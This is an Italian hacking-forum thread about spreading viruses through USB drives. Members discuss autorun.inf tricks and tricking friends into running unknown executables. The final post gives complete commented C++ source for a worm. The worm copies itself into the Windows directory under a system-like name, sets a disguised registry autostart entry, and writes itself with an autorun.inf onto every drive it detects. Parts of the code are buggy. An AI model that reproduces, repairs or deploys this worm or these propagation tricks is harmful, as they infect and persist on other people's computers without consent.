Domanda sui virus e i loro mezzi di propagazione

Stato
Discussione chiusa ad ulteriori risposte.
Whivel ha detto:
no.... per una volta la microsoft ha fatto una considerazione decente (in realtà la cosa è simile, se non identica per cd e pen drive, ma dipende da come è impostato l'autorun dall'utente...

questo significa che il mio pseudo virus non serve a nulla, dannata microsoft, hanno il software più buggato del mondo, ma che lo lasciassero un bug nella gestione delle pendrive.....
 
Brolyssj4 ha detto:
Whivel ha detto:
no.... per una volta la microsoft ha fatto una considerazione decente (in realtà la cosa è simile, se non identica per cd e pen drive, ma dipende da come è impostato l'autorun dall'utente...

questo significa che il mio pseudo virus non serve a nulla, dannata microsoft, hanno il software più buggato del mondo, ma che lo lasciassero un bug nella gestione delle pendrive.....

poverini dai..una volta tanto hanno fatto qualcosa per il verso...
comunque il tuo virus non diventerebbe del tutto inutile.
se ci pensi spesso la gente se vede un exe che non conosce lo apre quasi istintivamente...e si becca i virus
 
non sò in c++ ma in autoIt potresti fare un programmino decente,esistono le funzioni apposite per il controllo se un disco è rimovibile o meno... :)
 
Predator ha detto:
premetto che io piuttosto che usare il C++ uso l'assembler, non so se questo puo' andar bene
ovviamente includi
#include <windows.h>
#include <string.h>

DWORD logicalDrives = GetLogicalDrives() << 1;
int i = 1;
char driveLetter = 'A';
string drive;

while(logicalDrives)
{
if(logicalDrives & (int)pow(2,i))
{
drive = driveLetter;
MessageBox(hWnd, drive.c_str(), "test", 0);
}

++i;
++driveLetter;

}

potresti commentare brevemente il codice, dato che alcuni punti non li capisco proprio!
 
B3nNa ha detto:
delta ha detto:
(...)autorun.inf che avviera il virus ogni volta la chiave usb viene connessa ad un pc

Purtroppo la cosa non è attuabile.
Infatti, come purtroppo ho constatato, è impossibile creare un autorun.inf funzionante su un dispositivo USB.Il massimo che si può ottenere è che, quando clicca sul dispositivo rimovibile da Risorse Del Computer, invece di visualizzare il file parte l'eseguibile.

leggiti questo
http://www.myhack.it/autorun-da-usb-t-9376.html
non vorrei dire una cavolata... ma io uso l'autorun.inf per cambiare l'icona delle chiavette (lo so che è una stupidata...) e una volta mi ero beccato il Knight Disk che si diffonde con le chiavette... ho provato su altri computer e succede la stessa cosa
 
Garu94 ha detto:
B3nNa ha detto:
delta ha detto:
(...)autorun.inf che avviera il virus ogni volta la chiave usb viene connessa ad un pc

Purtroppo la cosa non è attuabile.
Infatti, come purtroppo ho constatato, è impossibile creare un autorun.inf funzionante su un dispositivo USB.Il massimo che si può ottenere è che, quando clicca sul dispositivo rimovibile da Risorse Del Computer, invece di visualizzare il file parte l'eseguibile.

leggiti questo
http://www.myhack.it/autorun-da-usb-t-9376.html
non vorrei dire una cavolata... ma io uso l'autorun.inf per cambiare l'icona delle chiavette (lo so che è una stupidata...) e una volta mi ero beccato il Knight Disk che si diffonde con le chiavette... ho provato su altri computer e succede la stessa cosa

conosco Disk Kinght...mi è gia capitato sottomano più di una volta.
Cmq non penso che sia in grado di eseguirsi appena inserisci la pennina.

quello che si può fare, in compenso(oltre a cambiare l'icona), è far si che, quando si clicca due volte sul disco rimovibile da risorse del computer, vengano eseguiti dei comandi sulla shell.

basta inserire questo nel autorun.inf
Codice:
[autorun]
shellexecute=(comandi)
 
bhe l'autorun avvia un file che copia il virus... no?

tipo il file che copia "Virus.exe" si chiama "copy.exe" si apre copy e copia virus.exe in una cartella....
 
the massakretor ha detto:
bhe l'autorun avvia un file che copia il virus... no?

tipo il file che copia "Virus.exe" si chiama "copy.exe" si apre copy e copia virus.exe in una cartella....

Esattamente....ma la cosa non è automatica...bisogna che qualcono prema due volte sulla pennina da risorse del computer...cosa che fanno più o meno tutti :D
ah dimenticavo....il difetto di questo metodo è che per vedere i file bisogna fare clickdestro>esplora, altrinenti non si visualizzano i files
 
the massakretor ha detto:
bhe l'autorun avvia un file che copia il virus... no?

tipo il file che copia "Virus.exe" si chiama "copy.exe" si apre copy e copia virus.exe in una cartella....

riguardo al Disk Knight?
se intendi quello non è esattamente così... il file che viene eseguito è il virus, che si auto-copia in %systemroot%\system32 (mi sembra) e aggiunge una chiave di registro in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run in modo da essere automaticamente eseguito all'avvio del sistema... una volta eseguito, il virus si copia in tutti i drive usb che vengono connessi assieme all'autorun.inf che viene generato
 
io ho pensato una cosa semplicissima ed efficace,come suggeritomi: basta mettere l'eseguibile nella chiavetta, ho fatto il test con un mio amico: al 98% lo apre :asd:
 
Vi posto di seguito un sorgente che scrisse tempo fa delta, quando era ancora nel forum, vi puo' essere sicuramente utile (sempre che capiate il C++). il codice è ben commentato, percio' non ho altro da aggiungere.
Codice:
/***********************************

           SchoolDestination  
           
           Creato il 13/03/2007
           
           by delta
           
************************************/

#include <windows.h> //GetModuleFileName, CopyFile, CreateFile, WriteFile
#include <string.h>
#define WORM_NAME "rebel.exe"
#define DRIVER_NAME "driver" //ogni qualvolta che si copia inuna penna usb, ilworm assume il nome driver cosi verra E:\driver.exe


static const char* message[]={ //array
          "SchoolDestination created by anon"
};

DWORD WINAPI DriveSpread() //questo � per la diffusione su penne usb del worm
{
      	char DriveLetter[2]; //A...Z
    	char Buffer[MAX_PATH]; //buffer
	    char WormFile[MAX_PATH];  //buffer dove verra immesso il worm cosi da avere una copia
	    char autorun[MAX_PATH]; //per l'autorun.inf
	    int nomevirus;
	    GetModuleFileName(0, WormFile, sizeof(WormFile)); //otteniamo una copia del worm da copiare fresca fresca
	    for(int d = 66; d < 91; d++) //b - z
    	{
		DriveLetter[0] = d; 
		DriveLetter[1] = 0;
		
		lstrcpy(Buffer, DriveLetter); //mettiamo nel buffer la lettera della penna usb
		lstrcat(Buffer, ":\\"); //ci aggiungiamo lo slash(quindi divverra E:\\

		if(GetDriveType(Buffer) == DRIVE_REMOTE) //se � una penna usb
		{	
            lstrcat(autorun, Buffer); 
            lstrcat(autorun, "autorun.inf"); // ora abbiamo E:\autorun.inf 
			lstrcat(Buffer, DRIVER_NAME);  //con lstrcat diventa E:\\driver
			lstrcat(Buffer, ".exe");    // ora � E:\\driver.exe
            
			CopyFile(WormFile, Buffer, false); //copiamo il wormin E:\\driver.exe
			
			const char* autoruninf = "[AUTORUN]\nOPEN=driver.exe"; 
			DWORD byte;
            HANDLE hFile = CreateFile(autorun, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); //creiamo autorun.inf
            BOOL bSuccess = WriteFile ( hFile, autoruninf, strlen(autoruninf), &byte, NULL); //ci scriviamo dentro
            CloseHandle(hFile); //lo chiudiamo
			//ora abbiamo due file nella penna usb
			// uno � driver.exe che � worm
			//l'altro � autorun.inf che far� avviare il worm automaticamente qualunque volta che la penna usb
			//viene connessa ad un pc
		}

    }
	

	return 0;
}
//main principale
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
     char pathname[256]; //path worm
    char windir[MAX_PATH]; //directory windows
    char instpath[MAX_PATH];

    GetWindowsDirectory(windir, sizeof(windir)); //otteniamo il path della dir di windows(es C:\windows
    HMODULE hMe = GetModuleHandle(NULL);
    DWORD nRet = GetModuleFileName(hMe, pathname, 256);  //questi due passaggi servono ad ottenere una copia del worm

    strcat(windir, "\\Wininet.exe");  //cosi diventa C:\windows\Wininet.exe
    CopyFile(pathname,windir,0);  //la copiamo
    lstrcpy(instpath,windir);

    char buffer[60];
    unsigned long size = sizeof(buffer);
    strcpy(buffer, instpath);
    HKEY software;
    HKEY mykey;
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\",&software);
    RegCreateKey(software,"RunServices",&mykey); //apriamo il regedit e scriviamo in Run una chiave
    RegSetValueEx(mykey,"Microsoft Net Services",NULL,REG_SZ,(LPBYTE)buffer,size); //a questa chiave scriviamo il nostro worm
    RegCloseKey(mykey); // la chiudiamo
    RegCloseKey(software);
    //ora il worm � copiato in windows � capace di autoavviarsi ad ogni avvio di sistema
    DriveSpread(); //lo facciamo diffondere
    return 0;   
}
 
Stato
Discussione chiusa ad ulteriori risposte.